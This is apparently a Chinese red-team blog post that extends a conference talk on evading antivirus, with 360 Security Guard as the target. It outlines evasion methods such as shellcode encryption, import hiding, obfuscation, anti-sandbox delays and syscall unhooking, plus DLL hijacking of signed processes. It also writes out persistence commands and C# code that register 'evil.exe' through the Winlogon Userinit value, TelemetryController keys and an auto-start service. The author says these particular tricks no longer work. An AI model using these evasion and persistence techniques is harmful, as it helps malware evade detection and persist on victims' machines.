关于CIS"杀软对抗"的议题拓展

关于”杀软对抗”的议题拓展

本文章作为CIS网络安全创新大会议题 Redteaming:主流杀软对抗之路 的扩展与延伸,从为什么出发,到杀软规则的测试与讨论.

CIS议题重点

  • shellcode加密

针对杀软于shellcode的静态二进制特征查杀,用加密解决shellcode的静态特征。

  • IAT导入地址表

针对杀软对PE文件的IAT导入表的敏感函数检测,使用动态调用的技巧,完成隐藏导入函数的效果。

  • 混淆编译

针对杀软对特征字符串和函数执行流程的检测,使用编译时混淆字符串和函数调用混淆的办法,隐藏特征字符串,和使用有限状态机的函数执行。

  • API执行链

针对基于启发式扫描的API执行链检测,使用巨大的内存分配与填充,干扰API执行链,具有行为免杀的效果。

  • 强延时

针对杀软和沙箱的时间加速,使用模拟计算来实现一个强延时,具有无视时间加速和一定的反沙箱效果。

  • 系统调用

针对杀软及EDR的用户态HOOK,使用本地加载并映射ntdll.dll技巧来实现动态系统调用,解决系统调用的兼容性问题,完成对挂钩函数的脱钩。

为什么讲这几点?

在我看来,bypass杀软和bypass waf是一样的,需要见招拆招,各种技巧思路都应具有针对性,比如我在CIS中的讲的各点,其实只是一些常规操作,但是它都针对了杀软检测规则的一部分,从而具有目的性的完成想要的效果:bypass。

avatar

了解杀软检测规则

举个例子(利用规则)

  • 360安全卫士对于自启动的拦截十分严格,但是问题在于,自启动是正常的系统行为,为什么QQ加自启动不会被拦截?

    avatar

    • 答案大家应该也知道,因为QQ带有高信誉的签名。(那么我们能不能利用这一点呢?)

      avatar

    • 答案当然是可以的,我们如果能找到一个QQ的DLL劫持,QQ会加载被劫持的恶意DLL,然后恶意的DLL将会为我们添加自启动,于是就利用带有腾讯签名的进程(QQ.exe),为我们添加自启动.

    • 在今年更新360 13前,这个玩法都是有效的,那么为什么现在失效了。

      avatar

这里使用的是360浏览器的一个dll劫持,带有360的签名,但是在最新版360的检测下,由于加载的DLL无签名,又因为这个DLL产生了高危的行为(添加自启动),于是此DLL被定义为恶意文件。

avatar

通过利用规则,我在这里利用了360对签名进程的高信誉证书的信任,完成了启动项的添加。

再举个例子(绕过规则)

  • 使用360所不知道,不在拦截名单中的自启动,也能达成添加自启动的目的。
1
2
> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evil.exe" /f
>

这个自启动注册表,于去年年底公开,然后存活了一个月。

1
2
3
> reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Command /d c:\\windows\\system32\\notepad.exe
> reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Nightly /t REG_DWORD /d 1
>

遥测,这是个Windows的自启动计划任务,于今年上半年爆出,一个月后失效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
> using System;
> using System.Collections.Generic;
> using System.Linq;
> using System.Text;
> using System.Management.Automation;
> using System.Collections.ObjectModel;
>
> public class Program
> {
> public static void Main()
> {
> PowerShell ps1 = PowerShell.Create();
> ps1.AddScript("new-service –Name OrderService –DisplayName OrderService –BinaryPathName c:/evil.exe –StartupType Automatic;Start-Service OrderService");
> ps1.Invoke();
> PowerShell ps2 = PowerShell.Create();
> ps2.AddCommand("Get-Process");
> Collection<PSObject> PSOutput = ps2.Invoke();
> foreach (PSObject outputItem in PSOutput)
> {
> if (outputItem != null)
> {
> Console.WriteLine(outputItem);
> }
> }
>
>
> }
> }
>

这个是我自己发现的,在去年讨论使用.net实现powershell被禁用的环境下执行powershell的技巧时,我就尝试过用这种技巧去添加自启动,于今年年初失效。

结论

由我的观察可得出

360安全卫士的拦截规则其实非常死板,完全基于签名与黑名单,添加黑名单中的启动项时,需要检查进程签名,启动项所对应的启动程序也需要检查签名,现在被加载的dll也要检查签名。

进程可信 + 启动项对应对象可信 + dll可信(如果是dll的启动项添加行为) = 添加通过。

  • 利用规则

    • 即利用对高信誉签名的信任,可以完成任意启动项的添加。

      优点:灵活,可以直接完成绝大部分行为的bypass

      缺点:难找,难利用。

  • 绕过规则

    • 绕过规则中的黑名单添加项or添加方式。

      优点:比较容易寻找并利用,通过研究注册表功能及一些隐藏项,即可找到黑名单外的启动项。

      缺点:启动方式单一,技巧容易被捕获。

很不幸,今天讲的技巧都已经无效,但是我希望的是,读者能从这些bypass案例中,寻找到bypass的思路,

我前端时间发过一个视频,可以任意添加注册表和服务,就是通过系统机制完成的对微软签名的滥用,即使360更新到了13,同样也一样能bypass,

https://www.bilibili.com/video/BV14t4y1i7aX/